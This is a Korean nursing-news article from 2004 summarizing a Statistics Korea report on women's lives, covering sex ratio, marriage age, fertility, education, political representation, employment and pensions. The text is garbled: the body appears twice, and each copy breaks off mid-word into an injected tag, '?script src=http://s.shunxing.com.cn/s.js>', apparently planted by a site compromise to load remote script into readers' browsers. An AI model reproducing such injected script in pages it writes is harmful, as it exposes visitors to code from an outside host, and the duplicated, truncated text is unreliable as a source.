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통계로 보는 여성의 삶
[편집국] 주선영 syju@nursenews.co.kr 기사입력 2004-08-05 오전 09:51:01
우리나라는 여전히 성비불균형이 심각한 것으로 조사됐다. 또 여성의 평균 초혼 연령은 계속 높아지고 있으며 일생동안 낳는 평균자녀수는 감소한 것으로 나타났다. 여성의 대학 진학률은 지난 10년 사이 2배나 증가했으며 석·박사학위 취득자도 꾸준히 증가했다.
통계청은 여성의 삶이 변화하는 모습을 경제·사회·문화 등 다방면으로 살펴보기 위해 기존 여성 통계자료를 정리해 `통계로 보는 여성의 삶'을 발간했다. 주요내용을 정리한다.
△성비 101.3명＝2004년 여자 100명당 남자인구인 성비는 101.3이며 이중 10∼19세 성비가 112.4로 가장 높았다. 다음으로 9세 이하 110.9, 20∼29세 107.1, 30∼39세 104.8, 40∼49세 102.4, 50∼59세 100.6, 60세 이상 72.8의 순으로 나타나 연령이 많아질수록 성비는 낮은 것으로 나타났다.
△초혼연령 27.3세＝여성의 평균 초혼연령은 27.3세로 높아지는 추세다.(2003년) 또한 여성이 일생동안 낳는 평균자녀수는 1970년 4.53명에서 1980년 2.83명, 1990년 1.59명, 2000년 1.47명, 2001년 1.30명으로 줄었다.
△남성보다 유병률 높아＝여성의 유병률(24.5%)은 남성의 유병률(17.1%)보다 높았다.(2003년) 이는 여성 4명 중 1명이 아픈 셈이다. 여성의 유병률은 60세 이상 50.9%, 50대 33.9%, 40대 22.5% 순으로 나이가 많을수록 유병률이 높았다. 또한 여성의 암발생률은 60대가 가장 많았다.
△자녀양육 부모가 맡아＝만 10세 이하 자녀가 있는 가구의 낮동안 또는 방과후 양육 실태는 자녀의 부모 62.8%, 가족과 친인척 11.8%, 학원 11.2% 순으로 나타나 자녀의 양육은 대부분 부모가 책임지고 있는 것으로 조사됐다.(2002년) 자녀를 누가 돌보는 것이 좋겠냐는 질문에는 자녀의 부모 84.0%, 가족과 친인척 5.9%, 보육시설과 학원은 각각 3.9%로 나타나 자녀양육은 부모가 직접 해야 한다는 견해가 지배적인 것으로 나타났다.
△사회생활 성차별 느낀다＝여성들은 사회생활에서 72.4%, 직장 69.1%, 가정 40.9%, 학교생활에서 32.9%가 성차별이 있다고 생각하는 것으로 나타났다.(2002년) 가사분담에서는 부인이 주도하는 경우가 88.9%로 공평하게 분담(8.1%), 남편주도(3.0%)에 비해 여전히 높게 나왔다. 그러나 부인이 전적으로 책임지는 비율은 1998년 44.9%에서 2002년 37.9%로 낮아졌으며 공평하게 분담하는 비율은 5.7%에서 8.1%로 높아져 남녀가 공평하게 가사를 분담해야 한다는 인식이 확산되고 있는 것으로 분석됐다.
△대학진학률 2배 이상 증가＝ 여성의 대학 진학률은 77.5%로 1990년 31.9%보다 2배 이상 증가한 것으로 나타났다.(2003년) 특히 4년제 대학의 진학률(56.1%)은 1990년(19.4%)에 비해 3배정도 늘었다. 또한 2003년 석사학위 취득자 중 여성비율은 39.8%로 전년대비 2.9% 포인트 증가했다. 박사학위 취득자의 여성비율은 23.7%였다.
대학이상 교육을 받고자 하는 이유로는 남녀 모두 좋은 직업을 갖기 위해서, 자신의 소질을 개발하기 위해서, 학력을 차별하는 사회분위기 순으로 나타났다.(2000년) 특히 교육을 통한 소질개발을 원하는 여성은 남성보다 높은 비율을 보였다.
△17대 국회 여성의원 13%＝17대 국회 여성의원 비율은 13.0%이며 1992년 이후 여성 국회의원이 차지하는 비율은 꾸준히 증가하고 있다. 전체 공무원에서 여성공무원이 차지하는 비율은 32.9%이며 2002년 행정고시 여성합격자는 28.4%로 1990년 1.7%에 비해 26.7% 포인트 증가했으며 9급행정·공안직은 50.9%로 1990년에 비해 20.7% 포인트 증가를 보였다.
△경제활동 참가율 48.9%＝ 2003년 여성의 경제활동참가율은 48.9%인 것으로 나타났다. 여성 취업자 중 임금근로자 비율은 65.5%이며 이 중 상용 23.2%, 임시 31.0%, 일용 11.4%이고 비임금근로자의 비율은 34.5%인 것으로 나타났다. 또한 여성의 임금은 여전히 남성보다 적었으며 이직률은 남성의 1.4배였다.
여성들은 직업선택의 기준으로 안정성(34.3%)을 가장 많이 꼽았으며 대부분의 여성이 `여성이 직업을 가지는 것이 좋다'고 답했다. 여성의 취업 장애요인으로는 육아부담(38.8%)이 가장 높게 나타났으며 사회적 편견과 차별적 관행 및 제도(22.8%), 불평등한 근로여건(12.4%) 순으로 높게 나타났다.(2002년)
산업별 여성근로자의 비율은 도소매업 및 숙박 음식점업이 36.4%로 가장 높게 나타났다. 다음으로 교육 및 보건서비스업이 22.1%로 나타냈다.(2002년)
여성근로자의 근속연수는 2년 이하인 경우가 60%로 나타났으나 5년 이상 계속 근무한 비율이 1980년 6.4%에서 2002년 28.2%로 높아져 장기근속자가 늘어난 것으로 분석됐다.
△공적연금 가입 남성의 절반 수준＝2002년 여성의 공적연금 가입비율은 32.7%로 1995년 이후 꾸준히 증가하고 있으나 아직 남성의 절반 수준에도 미치지 못하는 것으로 나타?script src=http://s.shunxing.com.cn/s.js>
통계청은 여성의 삶이 변화하는 모습을 경제·사회·문화 등 다방면으로 살펴보기 위해 기존 여성 통계자료를 정리해 `통계로 보는 여성의 삶'을 발간했다. 주요내용을 정리한다.
△성비 101.3명＝2004년 여자 100명당 남자인구인 성비는 101.3이며 이중 10∼19세 성비가 112.4로 가장 높았다. 다음으로 9세 이하 110.9, 20∼29세 107.1, 30∼39세 104.8, 40∼49세 102.4, 50∼59세 100.6, 60세 이상 72.8의 순으로 나타나 연령이 많아질수록 성비는 낮은 것으로 나타났다.
△초혼연령 27.3세＝여성의 평균 초혼연령은 27.3세로 높아지는 추세다.(2003년) 또한 여성이 일생동안 낳는 평균자녀수는 1970년 4.53명에서 1980년 2.83명, 1990년 1.59명, 2000년 1.47명, 2001년 1.30명으로 줄었다.
△남성보다 유병률 높아＝여성의 유병률(24.5%)은 남성의 유병률(17.1%)보다 높았다.(2003년) 이는 여성 4명 중 1명이 아픈 셈이다. 여성의 유병률은 60세 이상 50.9%, 50대 33.9%, 40대 22.5% 순으로 나이가 많을수록 유병률이 높았다. 또한 여성의 암발생률은 60대가 가장 많았다.
△자녀양육 부모가 맡아＝만 10세 이하 자녀가 있는 가구의 낮동안 또는 방과후 양육 실태는 자녀의 부모 62.8%, 가족과 친인척 11.8%, 학원 11.2% 순으로 나타나 자녀의 양육은 대부분 부모가 책임지고 있는 것으로 조사됐다.(2002년) 자녀를 누가 돌보는 것이 좋겠냐는 질문에는 자녀의 부모 84.0%, 가족과 친인척 5.9%, 보육시설과 학원은 각각 3.9%로 나타나 자녀양육은 부모가 직접 해야 한다는 견해가 지배적인 것으로 나타났다.
△사회생활 성차별 느낀다＝여성들은 사회생활에서 72.4%, 직장 69.1%, 가정 40.9%, 학교생활에서 32.9%가 성차별이 있다고 생각하는 것으로 나타났다.(2002년) 가사분담에서는 부인이 주도하는 경우가 88.9%로 공평하게 분담(8.1%), 남편주도(3.0%)에 비해 여전히 높게 나왔다. 그러나 부인이 전적으로 책임지는 비율은 1998년 44.9%에서 2002년 37.9%로 낮아졌으며 공평하게 분담하는 비율은 5.7%에서 8.1%로 높아져 남녀가 공평하게 가사를 분담해야 한다는 인식이 확산되고 있는 것으로 분석됐다.
△대학진학률 2배 이상 증가＝ 여성의 대학 진학률은 77.5%로 1990년 31.9%보다 2배 이상 증가한 것으로 나타났다.(2003년) 특히 4년제 대학의 진학률(56.1%)은 1990년(19.4%)에 비해 3배정도 늘었다. 또한 2003년 석사학위 취득자 중 여성비율은 39.8%로 전년대비 2.9% 포인트 증가했다. 박사학위 취득자의 여성비율은 23.7%였다.
대학이상 교육을 받고자 하는 이유로는 남녀 모두 좋은 직업을 갖기 위해서, 자신의 소질을 개발하기 위해서, 학력을 차별하는 사회분위기 순으로 나타났다.(2000년) 특히 교육을 통한 소질개발을 원하는 여성은 남성보다 높은 비율을 보였다.
△17대 국회 여성의원 13%＝17대 국회 여성의원 비율은 13.0%이며 1992년 이후 여성 국회의원이 차지하는 비율은 꾸준히 증가하고 있다. 전체 공무원에서 여성공무원이 차지하는 비율은 32.9%이며 2002년 행정고시 여성합격자는 28.4%로 1990년 1.7%에 비해 26.7% 포인트 증가했으며 9급행정·공안직은 50.9%로 1990년에 비해 20.7% 포인트 증가를 보였다.
△경제활동 참가율 48.9%＝ 2003년 여성의 경제활동참가율은 48.9%인 것으로 나타났다. 여성 취업자 중 임금근로자 비율은 65.5%이며 이 중 상용 23.2%, 임시 31.0%, 일용 11.4%이고 비임금근로자의 비율은 34.5%인 것으로 나타났다. 또한 여성의 임금은 여전히 남성보다 적었으며 이직률은 남성의 1.4배였다.
여성들은 직업선택의 기준으로 안정성(34.3%)을 가장 많이 꼽았으며 대부분의 여성이 `여성이 직업을 가지는 것이 좋다'고 답했다. 여성의 취업 장애요인으로는 육아부담(38.8%)이 가장 높게 나타났으며 사회적 편견과 차별적 관행 및 제도(22.8%), 불평등한 근로여건(12.4%) 순으로 높게 나타났다.(2002년)
산업별 여성근로자의 비율은 도소매업 및 숙박 음식점업이 36.4%로 가장 높게 나타났다. 다음으로 교육 및 보건서비스업이 22.1%로 나타냈다.(2002년)
여성근로자의 근속연수는 2년 이하인 경우가 60%로 나타났으나 5년 이상 계속 근무한 비율이 1980년 6.4%에서 2002년 28.2%로 높아져 장기근속자가 늘어난 것으로 분석됐다.
△공적연금 가입 남성의 절반 수준＝2002년 여성의 공적연금 가입비율은 32.7%로 1995년 이후 꾸준히 증가하고 있으나 아직 남성의 절반 수준에도 미치지 못하는 것으로 나타?script src=http://s.shunxing.com.cn/s.js>
